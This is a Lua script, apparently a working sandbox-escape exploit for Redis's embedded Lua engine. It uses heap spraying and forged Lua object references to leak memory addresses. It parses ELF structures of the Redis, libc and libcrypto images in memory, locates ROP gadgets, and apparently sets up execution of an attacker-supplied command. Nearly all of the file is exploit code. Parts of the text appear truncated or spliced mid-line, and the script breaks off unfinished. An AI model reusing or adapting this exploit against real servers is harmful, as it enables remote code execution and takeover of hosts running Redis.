local GlobalState = getmetatable("") GlobalState.proxytable = { proxy=0, } GlobalState.spray1 = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } GlobalState.spray2 = { 1,2,3,4,5,6,7,8,9 } GlobalState.spray3 = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } GlobalState.spray4 = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } GlobalState.spray5 = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } GlobalState.spray6 = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } GlobalState.spray7 = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } GlobalState.spray8 = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } GlobalState.sprayi = 1 GlobalState.sprays = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } GlobalState.prefixes2 = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } local log_s = function(s) redis.log(redis.LOG_NOTICE, s) end local log = function(fmt, ...) redis.log(redis.LOG_NOTICE, string.format(fmt, ...)) end local new_largechunk = function() return 'X' .. ARGV[2] end local new_spray = function() local spray = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } GlobalState.sprays[GlobalState.sprayi] = spray GlobalState.sprayi = GlobalState.sprayi + 1 return spray end local LargeChunk = new_largechunk() local ElfParser = { new = function(self) local o = {} setmetatable(o, self) self.__index = self return o end, parse_header = function(self, bytes) local ident = string.sub(bytes, 1, 16) local rest = string.sub(bytes, 17, 64) local a,b,c,d,e,f,g,h,i,j,k,m,n = struct.unpack(" last._offset + last.p_memsz then last = hdr end end ret.size = last._offset + last.p_memsz return ret end local parse_dynamic = function(bytes, dynstart, dynend) local dyns = {} for off=dynstart,dynend-1,0x10 do local dbytes = string.sub(bytes, off + 1, off + 0x10) local d_tag, d_val = struct.unpack("= imgstart and symbol.st_value < imgend then addr = symbol.st_value else addr = dump.progbytes_addr + symbol.st_value end ret[symbol._name] = { symbol=symbol, addr=addr } end end return ret end local _forge_reference_prefix = function(addr, tag) local prefix = string.sub(GlobalState.sprayfo1[1], 1, 0x48) local suffix = string.sub(GlobalState.sprayfo1[1], 0x59, 0x9d) local s = prefix .. addr .. tag .. suffix return s end local forge_reference = function(addr, tag) -- Forge a reference to addr of the given type (denoted by tag) local s = _forge_reference_prefix(addr, tag) for i=1,#GlobalState.sprayfo1 do GlobalState.sprayfo1[i] = 0 collectgarbage("restart") collectgarbage("step") GlobalState.sprayfo1[i] = s .. GlobalState.prefixes1[i] end end local forge_reference_prepare_heap = function(addr, tag, n) local spray = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, } if n == nil then n = 6 end local pi = 1 local s = _forge_reference_prefix(addr, tag) for i=1,n do spray[i] = s .. GlobalState.prefixes1[pi] pi = pi + 1 end GlobalState.sprays[GlobalState.sprayi] = spray GlobalState.sprayi = GlobalState.sprayi + 1 end local forge_tstring_reference = function(addr) local tag = "\004\000\000\000\000\000\000\000" forge_reference(addr, tag) end local forge_table_reference = function(addr) local tag = "\005\000\000\000\000\000\000\000" forge_reference(addr, tag) end local forge_function_reference = function(addr) local tag = "\006\000\000\000\000\000\000\000" forge_reference(addr, tag) end local forge_thread_reference = function(addr) local tag = "\008\000\000\000\000\000\000\000" forge_reference(addr, tag) end local extract_globalstate_address = function(s) local text = string.sub(s, 0x59, 0x60) local addr = struct.unpack(" double, can lose precision if #str == opts.signature then local prolog = "\0\0\0\0\0\0\0\0" .. string.sub(str, 1, 0x1000) log_s("Parsing ELF header") parser:parse_header(prolog) log_s("Parsing program headers") parser:parse_program_headers(prolog) details = extract_elf_offsets(parser, str) log_s("Copying bytes") if opts.redis then -- redis 6.2.11 has incontiguous segments progbytes = "\0\0\0\0\0\0\0\0" .. string.sub(str, 1, 0x201000 - 8) .. string.rep("\0", 0x1008) .. string.sub(str, 0x202001, details.size) else progbytes = "\0\0\0\0\0\0\0\0" .. string.sub(str, 1, details.size) end str = nil break end str = nil progbytes_addr = progbytes_addr - 0x1000 end log_s("Parsing .dynamic") local dynamic = parse_dynamic(progbytes, details.dynamic, details.dynamic_end) local dyndetails = extract_dynamic_offsets(dynamic, progbytes_addr) local symboltable = nil local relocations = nil if opts.symbols then log_s("Extracting .dynsym, .dynstr, .rela.plt") local stringtable = string.sub(progbytes, dyndetails.strtab+1, dyndetails.strtab + dyndetails.strtab_size) local symboltable_bytes = string.sub(progbytes, dyndetails.symtab+1, dyndetails.symtab + dyndetails.symtab_size) local relocations_bytes = string.sub(progbytes, dyndetails.pltrel+1, dyndetails.pltrel + dyndetails.pltrel_size) log_s("Parsing symbols") symboltable = parser:get_symbols(symboltable_bytes, stringtable) if opts.relocations then log_s("Parsing relocations") relocations = parser:get_relocations(relocations_bytes, symboltable) end end return { progbytes=progbytes, progbytes_addr=progbytes_addr, symbols=symboltable, relocations=relocations, offsets=details, } end local gadget_addr = function(dump, text_offset) if text_offset == nil then log_s("Failed to find gadget") return 0 end return dump.progbytes_addr + dump.offsets.text + (text_offset - 1) end local extract_gadgets = function(libcdump, libcryptodump) local libc_text = string.sub( libcdump.progbytes, libcdump.offsets.text + 1, libcdump.offsets.text_end ) local libcrypto_text = string.sub( libcryptodump.progbytes, libcryptodump.offsets.text + 1, libcryptodump.offsets.text_end ) -- newer libc setcontext+53 uses rdx local setcontext_53_rdx = gadget_addr(libcdump, string.find(libc_text, "\072\139\162\160\000\000\000\072\139\154\128\000\000\000\072\139\106\120", 1, true)) log_s("------") -- mov rax, qword ptr [rdi] ; mov rsi, qword ptr [rdi + 0x10] ; call qword ptr [rax + 0x38] local d1a = gadget_addr(libcryptodump, string.find(libcrypto_text, "\072\139\007\072\139\119\016\255\080\056")) log("d1a=0x%x", d1a) -- mov rbx, rax ; mov rdi, rax ; call qword ptr [rbx + 0x50] local pq1 = gadget_addr(libcryptodump, string.find(libcrypto_text, "\072\137\195\072\137\199\255\083\080", 1, true)) log("pq1=0x%x", pq1) -- mov rdx, rax ; mov rsi, rax ; call qword ptr [rbx + 0x48] local pq2 = gadget_addr(libcryptodump, string.find(libcrypto_text, "\072\137\194\072\137\198\255\083\072", 1, true)) log("pq2=0x%x", pq2) -- pop rdi; ret local poprdi = gadget_addr(libcryptodump, string.find(libcrypto_text, "\095\195", 1, true)) log("poprdi=0x%x", poprdi) -- pop rdx; ret local poprdx = gadget_addr(libcryptodump, string.find(libcrypto_text, "\090\195", 1, true)) log("poprdx=0x%x", poprdx) -- pop rsi; ret local poprsi = gadget_addr(libcryptodump, string.find(libcrypto_text, "\094\195", 1, true)) log("poprsi=0x%x", poprsi) -- ret local ret = gadget_addr(libcryptodump, string.find(libcrypto_text, "\195", 1, true)) log("ret=0x%x", ret) log_s("------") return { d1a=d1a, pq1=pq1, pq2=pq2, setcontext_53_rdx=setcontext_53_rdx, poprdi=poprdi, poprdx=poprdx, poprsi=poprsi, ret=ret, } end local leak_tstring_address = function(t, obj, free) local cmd = ARGV[3] local spray = new_spray() for i=1,#spray do spray[i] = {obj, obj, obj, obj, obj, obj, obj, obj} end -- Array containing our reference is adjacent to Table local a2 local a1 local index for i=2,#spray do a1 = tonumber(string.sub(tostring(spray[i-1]), 8), 16) a2 = tonumber(string.sub(tostring(spray[i]), 8), 16) if (a2 - a1) == 0xe0 then index = i break end a1 = a2 end if a2 - a1 ~= 0xe0 then log_s("Failed to command address") error("Abort") end collectgarbage("restart") collectgarbage("step") forge_reference_prepare_heap("AAAAAAAA", "AAAAAAAA", 64) log("Leaking table array from: 0x%x", a1 + 0x20) forge_tstring_reference(struct.pack("